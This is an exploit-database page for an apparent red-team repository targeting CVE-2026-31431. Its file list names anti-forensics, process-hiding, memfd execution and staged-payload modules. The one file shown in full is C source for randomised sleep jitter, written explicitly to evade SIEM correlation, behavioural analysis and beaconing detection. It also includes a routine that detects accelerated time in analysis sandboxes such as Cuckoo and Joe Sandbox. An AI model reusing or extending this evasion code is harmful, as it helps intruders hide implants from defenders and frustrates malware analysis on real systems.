Exploit databaseDownload repository ZIP
GH-db95e8411ee16cabf40e4af5e90b16fd
toxy4ny/copy-fail-exploit-on-c-redteam
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
toxy4ny/copy-fail-exploit-on-c-redteamRevision c2a6d43d4a84
- LICENSE
- Makefile
- README.md
- anti_forensics.c
- anti_forensics.h
- exploit.c
- memfd_exec.c
- memfd_exec.h
- patch_chunk.c
- patch_chunk.h
- proc_hide.c
- proc_hide.h
- signal_trigger.c
- signal_trigger.h
- sleep_jitter.c
- sleep_jitter.h
- stage1.c
- stage1.h
- stage2_template.c
- stage2_template.h
- target_discovery.c
- target_discovery.h
- vulnerable.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
sleep_jitter.c
C · 11,301 bytes/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431
* sleep_jitter -- random delays for redteam evasion.
*
* Provides sleep intervals with random jitter to evade:
* - Time-based correlation in SIEM (regular intervals = red flag)
* - Behavioral analysis (predictable patterns = signature)
* - Network timing analysis (beaconing detection)
* - Sandbox acceleration detection (too-fast loops)
*
* Features:
* - Multiple RNG backends: /dev/urandom (preferred), getrandom(2),
* rdtsc jitter (x86_64 fallback), LCG (last resort)
* - Distribution shapes: uniform, triangular (cluster around mean),
* exponential (rare long delays)
* - Interruptible sleep: checks exit flags each second
* - Drift compensation: tracks cumulative sleep vs intended schedule
*
* Design: minimal entropy consumption, zero heap allocations,
* no libc dependencies beyond basic syscalls.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <time.h>
#include <signal.h>
#include "sleep_jitter.h"
/* ------------------------------------------------------------------ */
/* RNG backends */
/*
* rng_getrandom -- use getrandom(2) syscall for cryptographically
* secure random bytes. Available since Linux 3.17.
*/
#ifndef __NR_getrandom
# if defined(__x86_64__)
# define __NR_getrandom 318
# elif defined(__i386__)
# define __NR_getrandom 355
# elif defined(__arm__)
# define __NR_getrandom 384
# elif defined(__aarch64__)
# define __NR_getrandom 278
# elif defined(__riscv)
# define __NR_getrandom 278
# else
# define __NR_getrandom 318
# endif
#endif
static ssize_t sys_getrandom(void *buf, size_t buflen, unsigned int flags)
{
return syscall(__NR_getrandom, buf, buflen, flags);
}
/*
* rng_devurandom -- read from /dev/urandom.
* Fallback when getrandom unavailable or blocked.
*/
static int rng_devurandom(void *buf, size_t len)
{
int fd = open("/dev/urandom", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return -1;
size_t total = 0;
while (total < len) {
ssize_t n = read(fd, (unsigned char *)buf + total, len - total);
if (n < 0) {
if (errno == EINTR)
continue;
close(fd);
return -1;
}
if (n == 0) {
close(fd);
return -1;
}
total += (size_t)n;
}
close(fd);
return 0;
}
/*
* rng_rdtsc -- x86_64 timestamp counter as entropy source.
* NOT cryptographically secure, but sufficient for jitter.
* Used as last resort when no kernel RNG available.
*/
#if defined(__x86_64__)
static unsigned long rng_rdtsc(void)
{
unsigned long lo, hi;
__asm__ __volatile__ ("rdtsc" : "=a"(lo), "=d"(hi));
return (hi << 32) | lo;
}
#else
static unsigned long rng_rdtsc(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (unsigned long)ts.tv_nsec;
}
#endif
/*
* get_random_bytes -- unified interface: tries getrandom, then
* /dev/urandom, then rdtsc fallback.
*/
static int get_random_bytes(void *buf, size_t len)
{
/* Try getrandom first (non-blocking) */
ssize_t n = sys_getrandom(buf, len, 0);
if (n == (ssize_t)len)
return 0;
/* Fallback to /dev/urandom */
if (rng_devurandom(buf, len) == 0)
return 0;
/* Last resort: rdtsc-based fill */
unsigned char *p = buf;
for (size_t i = 0; i < len; i++) {
p[i] = (unsigned char)(rng_rdtsc() & 0xFF);
}
return 0;
}
/*
* get_random_u32 -- uniform 32-bit random value.
*/
static uint32_t get_random_u32(void)
{
uint32_t val;
get_random_bytes(&val, sizeof(val));
return val;
}
/* ------------------------------------------------------------------ */
/* Distribution generators */
/*
* Uniform distribution: any value in [0, max] equally likely.
*/
static uint32_t rand_uniform(uint32_t max)
{
if (max == 0)
return 0;
/* Rejection sampling to avoid modulo bias */
uint32_t limit = UINT32_MAX - (UINT32_MAX % (max + 1));
uint32_t val;
do {
val = get_random_u32();
} while (val > limit);
return val % (max + 1);
}
/*
* Triangular distribution: cluster around middle, taper at edges.
* Generated as (rand1 + rand2) / 2 for natural clustering.
*/
static uint32_t rand_triangular(uint32_t max)
{
if (max == 0)
return 0;
uint32_t a = rand_uniform(max);
uint32_t b = rand_uniform(max);
return (a + b) / 2;
}
/*
* Exponential distribution: mostly short delays, occasional long ones.
* Uses inverse transform: -ln(1 - u) / lambda.
* For jitter: lambda = 1.0 / (max / 3), so mean ~ max/3.
*/
static uint32_t rand_exponential(uint32_t max)
{
if (max == 0)
return 0;
/* Get uniform float in (0, 1) */
uint32_t u32 = get_random_u32();
if (u32 == 0)
u32 = 1; /* avoid log(0) */
/* u32 / UINT32_MAX gives uniform in (0, 1] */
double u = (double)u32 / (double)UINT32_MAX;
/* Exponential with mean = max / 3 */
double lambda = 3.0 / (double)max;
double val = -log(1.0 - u) / lambda;
if (val > (double)max)
val = (double)max;
if (val < 0)
val = 0;
return (uint32_t)val;
}
/* ------------------------------------------------------------------ */
/* Core sleep with jitter */
/*
* sleep_jittered -- sleep for base_seconds + random jitter.
*
* Parameters:
* base_sec -- minimum sleep time
* jitter_sec -- maximum additional random time
* dist -- distribution shape
* check_func -- optional callback, called each second; if returns
* non-zero, sleep aborts early
* check_data -- opaque pointer for check_func
*
* Returns actual seconds slept.
*/
int sleep_jittered(int base_sec, int jitter_sec, jitter_dist_t dist,
jitter_check_fn check_func, void *check_data)
{
if (base_sec < 0)
base_sec = 0;
if (jitter_sec < 0)
jitter_sec = 0;
uint32_t extra = 0;
if (jitter_sec > 0) {
switch (dist) {
case JITTER_TRIANGULAR:
extra = rand_triangular((uint32_t)jitter_sec);
break;
case JITTER_EXPONENTIAL:
extra = rand_exponential((uint32_t)jitter_sec);
break;
case JITTER_UNIFORM:
default:
extra = rand_uniform((uint32_t)jitter_sec);
break;
}
}
int total = base_sec + (int)extra;
int slept = 0;
for (int i = 0; i < total; i++) {
if (check_func && check_func(check_data) != 0)
break;
sleep(1);
slept++;
}
return slept;
}
/* ------------------------------------------------------------------ */
/* Convenience wrappers */
/*
* sleep_uniform -- uniform distribution wrapper.
*/
int sleep_uniform(int base_sec, int jitter_sec,
jitter_check_fn check_func, void *check_data)
{
return sleep_jittered(base_sec, jitter_sec, JITTER_UNIFORM,
check_func, check_data);
}
/*
* sleep_triangular -- triangular distribution wrapper.
* Delays cluster around base + jitter/2.
*/
int sleep_triangular(int base_sec, int jitter_sec,
jitter_check_fn check_func, void *check_data)
{
return sleep_jittered(base_sec, jitter_sec, JITTER_TRIANGULAR,
check_func, check_data);
}
/*
* sleep_exponential -- exponential distribution wrapper.
* Mostly short delays, occasional long ones. Good for evading
* beaconing detection that flags regular intervals.
*/
int sleep_exponential(int base_sec, int jitter_sec,
jitter_check_fn check_func, void *check_data)
{
return sleep_jittered(base_sec, jitter_sec, JITTER_EXPONENTIAL,
check_func, check_data);
}
/* ------------------------------------------------------------------ */
/* Drift compensation */
/*
* sleep_scheduled -- maintain schedule with jitter, compensating drift.
*
* Tracks intended vs actual wake times. If previous sleep was short
* due to interrupt, next sleep is extended. If previous was long,
* next is shortened. Keeps average interval close to target.
*
* Parameters:
* sched -- schedule state (init with zeros before first call)
* interval -- target average interval in seconds
* jitter -- max deviation from interval
* dist -- distribution shape
*/
int sleep_scheduled(struct jitter_schedule *sched, int interval,
int jitter, jitter_dist_t dist)
{
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
if (sched->last_sec == 0 && sched->last_nsec == 0) {
/* First call: just sleep and record */
int slept = sleep_jittered(interval, jitter, dist, NULL, NULL);
clock_gettime(CLOCK_MONOTONIC, &now);
sched->last_sec = now.tv_sec;
sched->last_nsec = now.tv_nsec;
sched->drift_ms = 0;
return slept;
}
/* Calculate intended next wake time */
long intended_sec = sched->last_sec + interval;
long intended_nsec = sched->last_nsec;
/* Adjust for accumulated drift */
if (sched->drift_ms > 0) {
/* We were late: subtract drift from next sleep */
int adjust = sched->drift_ms / 1000;
if (adjust > interval / 2)
adjust = interval / 2; /* don't go negative */
intended_sec -= adjust;
sched->drift_ms -= adjust * 1000;
} else if (sched->drift_ms < 0) {
/* We were early: add to next sleep */
int adjust = (-sched->drift_ms) / 1000;
if (adjust > interval)
adjust = interval;
intended_sec += adjust;
sched->drift_ms += adjust * 1000;
}
/* Calculate sleep needed */
long need_sec = intended_sec - now.tv_sec;
long need_nsec = intended_nsec - now.tv_nsec;
if (need_nsec < 0) {
need_sec--;
need_nsec += 1000000000L;
}
int need = (int)need_sec;
if (need < 0)
need = 0;
/* Add jitter */
int slept = sleep_jittered(need, jitter, dist, NULL, NULL);
/* Record actual wake time and update drift */
clock_gettime(CLOCK_MONOTONIC, &now);
long actual_sec = now.tv_sec;
long actual_nsec = now.tv_nsec;
long drift_sec = actual_sec - intended_sec;
long drift_nsec = actual_nsec - intended_nsec;
sched->drift_ms = (int)(drift_sec * 1000 + drift_nsec / 1000000);
sched->last_sec = actual_sec;
sched->last_nsec = actual_nsec;
return slept;
}
/* ------------------------------------------------------------------ */
/* Sandbox evasion: detect accelerated time */
/*
* check_sandbox_acceleration -- detect if sleep is accelerated.
*
* Some sandboxes (Cuckoo, Joe Sandbox) patch sleep() to return
* immediately or speed up time. We detect this by comparing
* CLOCK_MONOTONIC before and after a short sleep.
*
* Returns 1 if acceleration detected (slept much less than requested),
* 0 if normal, -1 on error.
*/
int check_sandbox_acceleration(int test_sec)
{
if (test_sec <= 0)
test_sec = 2;
struct timespec before, after;
if (clock_gettime(CLOCK_MONOTONIC, &before) < 0)
return -1;
sleep(test_sec);
if (clock_gettime(CLOCK_MONOTONIC, &after) < 0)
return -1;
long elapsed_sec = after.tv_sec - before.tv_sec;
long elapsed_nsec = after.tv_nsec - before.tv_nsec;
if (elapsed_nsec < 0) {
elapsed_sec--;
elapsed_nsec += 1000000000L;
}
/* If we "slept" less than 80% of requested, likely accelerated */
long expected = test_sec;
if (elapsed_sec < expected * 8 / 10)
return 1; /* accelerated */
return 0; /* normal */
}